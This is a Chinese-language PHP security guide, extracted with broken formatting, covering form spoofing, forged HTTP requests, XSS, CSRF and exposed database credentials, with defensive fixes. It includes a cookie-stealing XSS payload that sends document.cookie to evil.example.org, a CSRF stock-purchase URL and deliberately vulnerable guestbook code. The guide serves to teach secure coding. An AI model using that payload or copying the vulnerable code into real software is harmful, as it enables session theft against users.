PHP安全指南0609.docx
- 文档编号:4617799
- 上传时间:2022-12-07
- 格式:DOCX
- 页数:17
- 大小:27.75KB
PHP安全指南0609.docx
《PHP安全指南0609.docx》由会员分享,可在线阅读,更多相关《PHP安全指南0609.docx(17页珍藏版)》请在冰豆网上搜索。
PHP安全指南0609
PHP安全指南
第一章什么是安全
什么是安全?
安全是一种相对的度量,而不是绝对的标准。
不幸的是多数软件项目将安全列为一个简单的需求。
它安全吗?
这个问题的答案就像问某个东西是否是热的一样主观。
达到安全的开销应该是合理的。
对于多数应用来说达到足够的安全级别是简单而成本低廉的。
但是,如果因为所需要保护的信息非常有价值,或对安全的要求非常苛刻,则需要付出更多的代价来提高安全级别。
这个成本应该被包含在项目的预算中。
达到安全的易用性应该是合理的。
很常见的现象是大幅度增加一个WEB应用的安全的同时,易用性也大为降低。
密码、SESSION过期时间,以及访问控制都会给合法用户的使用造成障碍。
有时为应用提供适当的安全是非常必要的,但是对于所有的应用来说并不是只有这一种解决方案。
当贯彻安全法则的时候对合法用户更加留意是非常明智的。
安全必须是设计的一部分,如果在设计应用的时候没有考虑安全,命中注定将要坚持不懈的来寻找新的安全漏洞。
仔细的写程序并不能弥补糟糕的设计。
第二章表单处理
1、欺骗表单提交
为了进一步了解数据过滤的必要,思考下面这个表单(假想的):
http:
//example.org/form.html:
设想一个攻击者保存了这段HTML并修改为:
//example.org/process.php"method="POST"> 这个新的表单可以存放在任何地方(web服务器并不是必须的,只要浏览器可以访问的即可),并可以随意使用。 action属性设定的绝对URL将POST请求发到相同的地方。 这使得去除客户端限制变得非常容易,不论是表单限制或者客户端脚本进行的最基本的数据过滤。 在这个例子中,$_POST['color']不再被限制为red,green或blue。 通过一个非常简单的操作,任何用户都可以创建一个合适的表单用于提交任意数据到表单中的URL。 2、HTTP请求欺骗 一个更加强大,但是不太方便的方法是伪造HTTP请求。 在前面讨论的表单例子中,当用户选择了颜色,HTTP请求的结果应当如下所示(假设选择了red): POST/process.phpHTTP/1.1 Host: example.org Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=red telnet工具可以用于执行类似的测试。 下面的例子简单演示了用GET请求: $telnet80 Trying64.246.30.37... Connectedto. Escapecharacteris'^]'. GET/HTTP/1.1 Host: HTTP/1.1200OK Date: Wed,21May200412: 34: 56GMT Server: Apache/1.3.26(Unix)mod_gzip/1.3.26.1aPHP/4.3.3-dev X-Powered-By: PHP/4.3.3-dev Last-Modified: Wed,21May200412: 34: 56GMT Content-language: en Set-Cookie: COUNTRY=USA%2C12.34.56.78;expires=Wed,28-May-0412: 34: 56GMT;path=/;domain= Connection: close Transfer-Encoding: chunked Content-Type: text/html;charset=ISO-8859-1 2083 DOCTYPEHTMLPUBLIC"-//W3C//DTDHTML4.01Transitional//EN"> ... 当然,可以编写自己的客户端代替在telnet中手工输入请求。 下面的例子演示了如何用PHP工造类似的请求。 php $http_response=''; $fp=fsockopen('',80); fputs($fp,"GET/HTTP/1.1\r\n"); fputs($fp,"Host: \r\n\r\n"); while(! feof($fp)) { $http_response.=fgets($fp,128); } fclose($fp); echonl2br(htmlentities($http_response)); ? > 构造自己的HTTP请求带来了相当的灵活性,这也说明为什么服务器端数据过滤显得如此必要。 没有服务器端数据过滤的话,任何来自外部的数据都是没有保证的。 3、跨站脚本 在媒体的帮助下,跨站脚本(XSS)成为了大家关注的焦点,当然它是绝对应当关注的。 XSS是web应用中最常见的安全隐患,许多流行的开放源代码的PHP应用程序受到XSS隐患的困扰。 XSS攻击发生在下面的情况下: 对于可获得用户信任的特定站点。 用户没有必要用很高的等级信任任何网站,但是浏览器需要。 例如,当浏览器在请求中发送cookie,则意味着信任目标网站。 对于不同的网站,用户可能有不同的浏览行为或者不同的安全防范等级。 通常包含显示外部数据的网站。 有高风险的应用包含论坛、web邮件以及任何会显示出来的聚合内容(如RSSfeeds) 攻击者可控制的内容注入。 当外部数据没有很好的过滤时,可能会显示攻击者需要的内容。 这意味着攻击者可以更改服务器上的代码。 这是如何发生的? 如果显示一个从外部获得的没有很好过滤的内容,则会产生XSS安全隐患。 外来数据不仅限于客户端的数据。 同时也包含显示在web邮件上的电子邮件、广告条、聚合blog以及类似的东西。 任何从外部获得的,不在代码中的信息都是外部数据,这意味着多数数据都是外部数据。 考虑下面这个最简单的留言版:
php
if(isset($_GET['message']))
{
$fp=fopen('./messages.txt','a');
fwrite($fp,"{$_GET['message']}
");
fclose($fp);
}
readfile('./messages.txt');
?
>
这个留言版在用户输入的内容后添加
然后添加到一个文件,并显示当前文件内容。
设想如果用户输入了下面的信息:
document.location='http:
//evil.example.org/steal_cookies.php?
cookies='+document.cookie
下一个开启了JavaScript的用户访问这个留言版时将被重定向到evil.example.org,同时任何关于当前网站的cookie信息都被包含在URL的表达式中。
当然,一个真正的攻击者不会缺少创造力或者JavaScript的知识。
如果可能请提供一些更好的例子(更邪恶一点?
)。
有什么可以做的?
XSS事实上非常容易防范。
困难来自于允许外部输入的(如其他用户)HTML或者客户端脚本不受限制的显示,但是关于这个的解决方案实现起来也不是非常困难。
下面的方法可降低XSS的风险:
过滤所有外部数据。
如同之前所提到的,数据过滤是最重要的方法。
通过验证所有进出应用程序的外部数据,可以降低大部分XSS隐患。
使用现有函数。
让PHP协助完成过滤逻辑。
如函数htmlentities(),strip_tags(),和utf8_decode()是很有用的。
避免重写PHP已经拥有的函数。
不光是PHP函数更加快速,而且它们经过更多的测试,带来隐患的可能更小。
使用白名单:
假设数据不合法直到可以证明它合法。
这包含验证长度以及确定只含有合法字符。
例如,如果用户输入了英文姓名,只有字母和空格是允许的。
发生错误时给出适当的提示。
而名字O'Reilly和Berners-Lee会被认为不合法,修补这个问题非常简单:
向白名单中添加两个字符。
拒绝合法的数据总是比接受非法的数据要强。
使用严格的名字转换:
如同之前所提到的,名字转换可以帮助开发者容易的区分过滤的和未过滤的数据。
让事情变得更容易和清晰对于开发者来说非常重要。
缺乏清晰度会引起混乱,这将带来隐患。
更加安全的留言版如下所示:
php
if(isset($_GET['message']))
{
$message=htmlentities($_GET['message']);
$fp=fopen('./messages.txt','a');
fwrite($fp,"$message
");
fclose($fp);
}
readfile('./messages.txt');
?
>
仅仅添加了htmlentities()后,留言版变得更加安全。
不应当认为这是彻底安全的,但是这是最简单的方法来提供适当级别的保护。
当然,强烈建议遵循之前讨论的最好的降低XSS风险的方法。
4、伪造跨站请求
忽略名字上的相似程度,伪造跨站请求(CSRF)是几乎完全相反的攻击方式。
XSS是利用用户对网站的信任展开攻击;CSRF是利用网站对用户的信任展开攻击。
CSRF攻击更加危险,更少遇到(意味着对于开发者没有更多资料),并且比起XSS攻击更加难以防御。
CSRF攻击发生在下面的情况下:
A、对于可获得网站信任的特定用户
多数用户可能不被信任,但是web应用向用户提供特定的权限以便其登录进入应用程序是很普遍的。
拥有很高的特权的用户往往都是受害者(事实上在自己不知道的情况下成为了同谋)。
通常网站信任用户的身份标识。
用户的身份标识拥有着重要的地位。
但是即便有安全的会话管理机制,CSRF攻击仍然能够成功。
而且事实上,对于这种情况CSRF攻击更加有效。
B、攻击者可随心所欲的执行HTTP请求
在CSRF所有攻击方式中包含攻击者伪造一个看起来是其他用户发起的HTTP请求(事实上,跟踪一个用户发送的HTTP请求才是攻击者的目的)。
有一部分技术可以用来完成这个,后面会演示一个使用特别技术的例子。
由于CSRF攻击包含伪造HTTP请求,熟悉底层HTTP协议就变得非常重要。
浏览器是HTTP客户端,而web服务器是HTTP服务器。
客户端通过发送请求初始化一个传输,而服务器通过应答完成这个传输。
一个标准的HTTP请求如下:
GET/HTTP/1.1
Host:
example.org
User-Agent:
Mozilla/5.0Gecko
Accept:
text/xml,image/png,image/jpeg,image/gif,*/*
第一行是请求行,包含请求的方式,请求的URL(使用相对的URL),和HTTP版本。
其他行是HTTP头,每个头的名字后是一个冒号和一个空格,然后是值。
你可能熟悉使用PHP产生这些信息。
例如,下面的代码可以用于构造这个原始的HTTP请求保存为字符串:
php
$request='';
$request.="{$_SERVER['REQUEST_METHOD']}";
$request.="{$_SERVER['REQUEST_URI']}";
$request.="{$_SERVER['SERVER_PROTOCOL']}\r\n";
$request.="Host:
{$_SERVER['HTTP_HOST']}\r\n";
$request.="User-Agent:
{$_SERVER['HTTP_USER_AGENT']}\r\n";
$request.="Accept:
{$_SERVER['HTTP_ACCEPT']}\r\n\r\n";
?
>
响应前面的请求的应答如下:
HTTP/1.1200OK
Content-Type:
text/html
Content-Length:
57
//example.org/image.png"/> 应答的内容就是你在浏览器中查看代码时看到的。 这个应答中的img标签告诉浏览器取得另外一个资源(图象)并呈现在页面上。 浏览器请求这个资源以及其他,下面这个例子关于这个请求: GET/image.pngHTTP/1.1 Host: example.org User-Agent: Mozilla/5.0Gecko Accept: text/xml,image/png,image/jpeg,image/gif,*/* 这里值得注意。 浏览器请求在img标签的src属性指定的URL,就如同用户手工定向到那里。 浏览器无法明确指出请求的是一个图象。 将这个同之前了解的表单联系在一起,并且考虑一个如同下面的URL: http: //stocks.example.org/buy.php? symbol=SCOX&quantity=1000 一个表单使用GET提交是无法同图象请求区分开的——两个都可以用相同的URL请求。 如果register_globals开启,表单操作就不十分重要了(除非开发者使用$_POST以及相关)。 危险似乎已经变得清晰了。 另外一个情况使得CSRF如此严重的原因是任何URL的cookie都是包含在对该URL的请求中。 一个准备同stocks.example.org建立联系的用户(比如已经登录)可以通过访问如同前面示例中的含有img标签的页面来购买1000份的SCOX。 考虑下面这个表单(假想的): http: //stocks.example.org/form.html: 立刻购买!
代码:
数量:
如果用户输入SCOX作为代码,1000作为数量,并且提交表单,浏览器发送的请求如下:
GET/buy.php?
symbol=SCOX&quantity=1000HTTP/1.1
Host:
stocks.example.org
User-Agent:
Mozilla/5.0Gecko
Accept:
text/xml,image/png,image/jpeg,image/gif,*/*
Cookie:
PHPSESSID=1234
在本例中包含了Cookie头用于说明使用cookie作为session标识。
如果一个img标签指向一同一个URL,请求这个URL的时候相同的cookie也会被发送,服务器处理这个请求时无法区分是不是真正的订单。
有一些可以保护应用不受CSRF攻击的办法:
在表单中使用POST而不是GET。
表单的method属性中指定为POST。
当然,这并不适合所有的表单,但对于执行任务的表单来说是没有问题的,例如购买商品。
事实上,HTTP标准要求考虑到GET的安全。
使用$_POST而不是依赖register_globals。
如果信任register_globals并使用表单变量$symbol和$quantity,那么POST方法对于防范CSRF攻击是没有什么作用的。
同样使用$_REQUEST对于防范CSRF攻击也没有作用。
不要只留意易用性:
虽然考虑用户体验如易用性是很好的,但是过分的易用性可能引起严重的后果。
虽然“只点一次”可以做得相当安全,但是简单的处理可能带来CSRF风险。
留意表单的用途:
CSRF最大的问题是看起来是表单提交的数据实际上不是。
如果用户没有请求带有表单的页面,是否能确定那个表单提交的数据是合法并可信的?
现在我们可以编写更加安全的留言版:
php
$token=md5(time());
$fp=fopen('./tokens.txt','a');
fwrite($fp,"$token\n");
fclose($fp);
?
>
phpecho$token;? >"/> php $tokens=file('./tokens.txt'); if(in_array($_POST['token'],$tokens)) { if(isset($_POST['message'])) { $message=htmlentities($_POST['message']); $fp=fopen('./messages.txt','a'); fwrite($fp,"$message fclose($fp); } } readfile('./messages.txt'); ? > 这个留言版仍然有一些安全问题。 你能否发现它们? 使用时间极为容易预测。 对时间戳进行MD5散列是很简陋的生成随机数码的办法。 更好的方案包含uniqid()和rand()。 更重要的是,攻击者很容易就可获得合法令牌(token)。 只需要访问合法令牌产生并存储的文件,只要在请求中添加令牌,攻击像以前一样简单。 这里是改进的留言版: php session_start(); if(isset($_POST['message'])&&isset($_SESSION['token'])) { if(isset($_SESSION['token'])&&$_POST['token']==$_SESSION['token']) { $message=htmlentities($_POST['message']); $fp=fopen('./messages.txt','a'); fwrite($fp,"$message fclose($fp); } } $token=md5(uniqid(rand(),true)); $_SESSION['token']=$token; ? > phpecho$token;? >"/> php readfile('./messages.txt'); ? > 第三章数据库和SQL 1、暴露数据库信息 多数PHP程序同数据库交互。 通常包含连接到数据库和使用帐户信息进行身份验证: php $host='example.org'; $username='myuser'; $password='mypass'; $db=mysql_connect($host,$username,$password); ? > 这个例子包含连接到数据库的全部信息,并保存为文件db.inc。 它在一个文件里保存了帐户信息,这看起来是非常剩心的。 问题出现在这个文件保存在在根文档(documentroot)下面的某个地方。 这是非常普通的,因为这样使用include和require语句更加简单。 但是这也将导致保露你的数据库帐户信息。 一定要记住,在根文档(documentroot)下的所有东西都有一个URL与之关联。 例如,如果根文档(documentroot)在/usr/local/apache/htdocs,当一个文件存储在/usr/local/apache/htdocs/inc/db.inc时,则可以通过URLhttp: //example.org/inc/db.inc访问到它。 可以断言多数web服务器将.inc文件当作普通文本对待,暴露账户信息的风险也是显然的。 所有模块中的代码都会暴露是一个大问题,特别是账户信息尤其敏感。 当然,一个简单的解决方案是将所有模块放在根文档之外,这也是很好的方法。 include和require都可以访问文件系统路径,所以没有必要通过URL访问模块。 这是不必要的风险。 如果你无法选择模块保存的位置,也就是说必须在根文档之下,可以在httpd.conf中添加如下内容(假设是Apache): Orderallow,deny Denyfromall 让PHP引擎处理模块并不是一个好办法。 不论是将扩展名修改为.php还是使用AddType让.inc被认为是PHP文件。 执行内容之外的代码是非常危险的,因为不是预期的行为可能造成未知的后果。 然而,如果你的模块仅仅包含变量赋值(如示例中那样),这个风险会小一些。 保护数据库账户信息最好的方式在DavidSklar和AdamTrachtenberg编写的《PHPCookbook(O'Reilly)》中有所描述。 创建一个文件/path/to/secret-stuff,只有root可以读取(不是nobody): SetEnvDB_
");
");
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- PHP 安全 指南 0609